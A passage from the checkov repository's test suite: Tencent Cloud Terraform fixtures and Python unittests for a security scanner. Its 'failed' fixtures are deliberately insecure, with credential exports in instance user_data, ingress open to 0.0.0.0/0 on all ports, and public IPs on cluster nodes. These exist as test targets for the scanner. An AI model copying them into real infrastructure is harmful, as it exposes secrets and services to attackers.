data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type\n  system_disk_type  = \"CLOUD_PREMIUM\"\n  system_disk_size  = 50\n\n  user_data_raw = \"this is test value\"\n}\n\n\n# failed\nresource \"tencentcloud_instance\" \"negative1\" {\n  instance_name     = \"cvm_postpaid\"\n  availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name\n  image_id          = data.tencentcloud_images.my_favorite_image.images.0.image_id\n  instance_type     = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type\n  system_disk_type  = \"CLOUD_PREMIUM\"\n  system_disk_size  = 50\n\n  user_data = base64encode(\"apt-get install -y tccli; export TENCENTCLOUD_SECRET_ID=your_access_key_id_here; export TENCENTCLOUD_SECRET_KEY=your_secret_access_key_here\")\n\n}\n\nresource \"tencentcloud_instance\" \"negative2\" {\n  instance_name     = \"cvm_postpaid\"\n  availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name\n  image_id          = data.tencentcloud_images.my_favorite_image.images.0.image_id\n  instance_type     = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type\n  system_disk_type  = \"CLOUD_PREMIUM\"\n  system_disk_size  = 50\n\n  user_data_raw = \"apt-get install -y tccli; export TENCENTCLOUD_SECRET_ID=your_access_key_id_here; export TENCENTCLOUD_SECRET_KEY=your_secret_access_key_here\"\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_TKELogAgentEnable/tencentcloud_kubernetes_cluster.tf",
    "content": "# pass\nresource \"tencentcloud_kubernetes_cluster\" \"positive\" {\n  vpc_id                  = tencentcloud_vpc.vpc.id\n  cluster_max_pod_num     = 32\n  cluster_name            = \"test\"\n  cluster_desc            = \"test cluster desc\"\n  cluster_max_service_num = 256\n  cluster_internet        = true\n  cluster_deploy_type     = \"MANAGED_CLUSTER\"\n  network_type            = \"VPC-CNI\"\n  eni_subnet_ids          = [\"subnet-bk1etlyu\"]\n  service_cidr            = \"10.1.0.0/24\"\n\n  worker_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-7\"\n    instance_type              = \"S2.LARGE16\"\n    system_disk_type           = \"CLOUD_PREMIUM\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    public_ip_assigned         = true\n    subnet_id                  = \"subnet-t5dv27rs\"\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n  }\n\n  log_agent {\n    enabled = true\n  }\n\n  labels = {\n    \"test1\" = \"test1\",\n    \"test2\" = \"test2\",\n  }\n}\n\n# failed\nresource \"tencentcloud_kubernetes_cluster\" \"negative\" {\n  vpc_id                  = tencentcloud_vpc.vpc.id\n  cluster_max_pod_num     = 32\n  cluster_name            = \"test\"\n  cluster_desc            = \"test cluster desc\"\n  cluster_max_service_num = 256\n  cluster_internet        = true\n  cluster_deploy_type     = \"MANAGED_CLUSTER\"\n  network_type            = \"VPC-CNI\"\n  eni_subnet_ids          = [\"subnet-bk1etlyu\"]\n  service_cidr            = \"10.1.0.0/24\"\n\n  worker_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-7\"\n    instance_type              = \"S2.LARGE16\"\n    system_disk_type           = \"CLOUD_PREMIUM\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    public_ip_assigned         = true\n    subnet_id                  = \"subnet-t5dv27rs\"\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n  }\n\n  log_agent {\n    enabled = false\n  }\n\n  labels = {\n    \"test1\" = \"test1\",\n    \"test2\" = \"test2\",\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_TKEPublicIpAssigned/tencentcloud_kubernetes_cluster.tf",
    "content": "# pass\nresource \"tencentcloud_kubernetes_cluster\" \"positive1\" {\n  vpc_id                          = local.first_vpc_id\n  cluster_cidr                    = \"10.31.0.0/16\"\n  cluster_max_pod_num             = 32\n  cluster_name                    = \"tf_example_cluster\"\n  cluster_desc                    = \"example for tke cluster\"\n  cluster_max_service_num         = 32\n  cluster_internet                = true\n  cluster_internet_security_group = local.sg_id\n  cluster_version                 = \"1.22.5\"\n  cluster_deploy_type             = \"MANAGED_CLUSTER\"\n\n  master_config {\n    count                = 1\n    availability_zone    = \"ap-guangzhou-3\"\n    instance_type        = \"SA2.2XLARGE16\"\n    system_disk_type     = \"CLOUD_SSD\"\n    system_disk_size     = 60\n    internet_charge_type = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    subnet_id            = local.first_subnet_id\n    img_id               = local.image_id\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    user_data                 = \"dGVzdA==\"\n  }\n\n  worker_config {\n    count                = 1\n    availability_zone    = \"ap-guangzhou-4\"\n    instance_type        = \"SA2.2XLARGE16\"\n    system_disk_type     = \"CLOUD_SSD\"\n    system_disk_size     = 60\n    internet_charge_type = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    subnet_id            = local.second_subnet_id\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    cam_role_name             = \"CVM_QcsRole\"\n  }\n}\n\nresource \"tencentcloud_kubernetes_cluster\" \"positive2\" {\n  vpc_id                          = local.first_vpc_id\n  cluster_cidr                    = \"10.31.0.0/16\"\n  cluster_max_pod_num             = 32\n  cluster_name                    = \"tf_example_cluster\"\n  cluster_desc                    = \"example for tke cluster\"\n  cluster_max_service_num         = 32\n  cluster_internet                = true\n  cluster_internet_security_group = local.sg_id\n  cluster_version                 = \"1.22.5\"\n  cluster_deploy_type             = \"MANAGED_CLUSTER\"\n\n  master_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-3\"\n    instance_type              = \"SA2.2XLARGE16\"\n    system_disk_type           = \"CLOUD_SSD\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    subnet_id                  = local.first_subnet_id\n    img_id                     = local.image_id\n    public_ip_assigned         = false\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    user_data                 = \"dGVzdA==\"\n  }\n\n  worker_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-4\"\n    instance_type              = \"SA2.2XLARGE16\"\n    system_disk_type           = \"CLOUD_SSD\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    subnet_id                  = local.second_subnet_id\n    public_ip_assigned         = false\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    cam_role_name             = \"CVM_QcsRole\"\n  }\n}\n\n# failed\nresource \"tencentcloud_kubernetes_cluster\" \"negative\" {\n  vpc_id                          = local.first_vpc_id\n  cluster_cidr                    = \"10.31.0.0/16\"\n  cluster_max_pod_num             = 32\n  cluster_name                    = \"tf_example_cluster\"\n  cluster_desc                    = \"example for tke cluster\"\n  cluster_max_service_num         = 32\n  cluster_internet                = true\n  cluster_internet_security_group = local.sg_id\n  cluster_version                 = \"1.22.5\"\n  cluster_deploy_type             = \"MANAGED_CLUSTER\"\n\n  master_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-3\"\n    instance_type              = \"SA2.2XLARGE16\"\n    system_disk_type           = \"CLOUD_SSD\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    subnet_id                  = local.first_subnet_id\n    img_id                     = local.image_id\n    public_ip_assigned         = true\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    user_data                 = \"dGVzdA==\"\n  }\n\n  worker_config {\n    count                      = 1\n    availability_zone          = \"ap-guangzhou-4\"\n    instance_type              = \"SA2.2XLARGE16\"\n    system_disk_type           = \"CLOUD_SSD\"\n    system_disk_size           = 60\n    internet_charge_type       = \"TRAFFIC_POSTPAID_BY_HOUR\"\n    internet_max_bandwidth_out = 100\n    subnet_id                  = local.second_subnet_id\n    public_ip_assigned         = true\n\n    data_disk {\n      disk_type = \"CLOUD_PREMIUM\"\n      disk_size = 50\n    }\n\n    enhanced_security_service = false\n    enhanced_monitor_service  = false\n    cam_role_name             = \"CVM_QcsRole\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_VPCFlowLogConfigEnable/tencentcloud_vpc_flow_log_config.tf",
    "content": "# pass\nresource \"tencentcloud_vpc_flow_log_config\" \"positive\" {\n  flow_log_id = tencentcloud_vpc_flow_log.example.id\n  enable      = true\n}\n\n# failed\nresource \"tencentcloud_vpc_flow_log_config\" \"negative\" {\n  flow_log_id = tencentcloud_vpc_flow_log.example.id\n  enable      = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/example_VPCSecurityGroupRuleSet/tencentcloud_security_group_rule_set.tf",
    "content": "# pass\nresource \"tencentcloud_security_group_rule_set\" \"positive\" {\n  security_group_id = tencentcloud_security_group.base.id\n\n  ingress {\n    action      = \"ACCEPT\"\n    cidr_block  = \"10.0.0.0/22\"\n    protocol    = \"TCP\"\n    port        = \"80-90\"\n    description = \"A:Allow Ips and 80-90\"\n  }\n\n}\n# failed\nresource \"tencentcloud_security_group_rule_set\" \"negative1\" {\n  security_group_id = tencentcloud_security_group.base.id\n\n  ingress {\n    action     = \"ACCEPT\"\n    cidr_block = \"0.0.0.0/0\"\n    protocol   = \"ALL\"\n    port       = \"ALL\"\n  }\n}\n\nresource \"tencentcloud_security_group_rule_set\" \"negative2\" {\n  security_group_id = tencentcloud_security_group.base.id\n\n  ingress {\n    action          = \"ACCEPT\"\n    ipv6_cidr_block = \"::/0\"\n    protocol        = \"ALL\"\n    port            = \"ALL\"\n  }\n}\n\nresource \"tencentcloud_security_group_rule_set\" \"negative3\" {\n  security_group_id = tencentcloud_security_group.base.id\n\n  ingress {\n    action          = \"ACCEPT\"\n    ipv6_cidr_block = \"0::0/0\"\n    protocol        = \"ALL\"\n    port            = \"ALL\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CBSEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CBSEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCBSEncryption(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CBSEncryption\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_cbs_storage.enabled\",\n        }\n        failing_resources = {\n            \"tencentcloud_cbs_storage.default\",\n            \"tencentcloud_cbs_storage.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CDBInternetService.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CDBInternetService import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCDBInternetService(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CDBInternetService\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_mysql_instance.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_mysql_instance.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CDBIntranetPort.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CDBIntranetPort import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCDBIntranetPort(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CDBIntranetPort\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_mysql_instance.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_mysql_instance.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CLBInstanceLog.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CLBInstanceLog import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCLBInstanceLog(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CLBInstanceLog\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_clb_instance.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_clb_instance.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CLBListenerProtocol.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CLBListenerProtocol import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCLBListenerProtocol(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CLBListenerProtocol\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_clb_listener.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_clb_listener.negative1\",\n            \"tencentcloud_clb_listener.negative2\",\n            \"tencentcloud_clb_listener.negative3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CVMAllocatePublicIp.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CVMAllocatePublicIp import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCVMAllocatePublicIp(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CVMAllocatePublicIp\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_instance.default\",\n            \"tencentcloud_instance.disabled\",\n        }\n        failing_resources = {\n            \"tencentcloud_instance.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CVMDisableMonitorService.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CVMDisableMonitorService import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCVMDisableMonitorService(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CVMDisableMonitorService\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_instance.default\",\n            \"tencentcloud_instance.disabled\",\n        }\n        failing_resources = {\n            \"tencentcloud_instance.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CVMUseDefaultSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CVMUseDefaultSecurityGroup import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCVMUseDefaultSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CVMUseDefaultSecurityGroup\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_instance.default\",\n            \"tencentcloud_instance.orderly_security_groups_sg\",\n            \"tencentcloud_instance.security_groups_sg\",\n        }\n        failing_resources = {\n            \"tencentcloud_instance.orderly_security_groups_default\",\n            \"tencentcloud_instance.security_groups_default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CVMUseDefaultVPC.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CVMUseDefaultVPC import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCVMUseDefaultVPC(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CVMUseDefaultVPC\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_instance.default\",\n            \"tencentcloud_instance.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_instance.negative1\",\n            \"tencentcloud_instance.negative2\",\n            \"tencentcloud_instance.negative3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_CVMUserData.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.CVMUserData import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCVMUserData(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_CVMUserData\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_instance.positive1\",\n            \"tencentcloud_instance.positive2\",\n            \"tencentcloud_instance.positive3\",\n        }\n        failing_resources = {\n            \"tencentcloud_instance.negative1\",\n            \"tencentcloud_instance.negative2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_TKELogAgentEnable.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.TKELogAgentEnabled import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTKELogAgentEnable(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_TKELogAgentEnable\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_kubernetes_cluster.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_kubernetes_cluster.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_TKEPublicIpAssigned.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.TKEPublicIpAssigned import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTKEPublicIpAssigned(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_TKEPublicIpAssigned\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_kubernetes_cluster.positive1\",\n            \"tencentcloud_kubernetes_cluster.positive2\",\n        }\n        failing_resources = {\n            \"tencentcloud_kubernetes_cluster.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_VPCFlowLogConfigEnable.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.VPCFlowLogConfigEnable import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass VPCFlowLogConfigEnable(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_VPCFlowLogConfigEnable\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_vpc_flow_log_config.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_vpc_flow_log_config.negative\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/tencentcloud/test_VPCSecurityGroupRuleSet.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.tencentcloud.VPCSecurityGroupRuleSet import \\\n    check\nfrom checkov.terraform.runner import Runner\n\n\nclass VPCSecurityGroupRuleSet(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_VPCSecurityGroupRuleSet\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"tencentcloud_security_group_rule_set.positive\",\n        }\n        failing_resources = {\n            \"tencentcloud_security_group_rule_set.negative1\",\n            \"tencentcloud_security_group_rule_set.negative2\",\n            \"tencentcloud_security_group_rule_set.negative3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/test_base_resource_check.py",
    "content": "import pytest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.checks.resource.registry import resource_registry as registry\n\nclass TestStaticCheck(BaseResourceCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Test something\"\n        id = \"CKV_TEST_1\"\n        supported_resources = [\"ckv_test\"]\n        categories = [CheckCategories.CONVENTION]\n        guideline = \"https://docs.prismacloud.io/policy-reference/test-policies/test-resource-check\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            guideline=guideline\n        )\n\n    def scan_resource_conf(self, conf):\n        if \"check_result\" in conf.keys():\n            check_result = conf[\"check_result\"][0]\n            if check_result:\n                return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef remove_check():\n    yield\n    del registry.checks[\"ckv_test\"]\n\n\n@pytest.mark.parametrize(\n    \"conf,expected\",\n    [\n        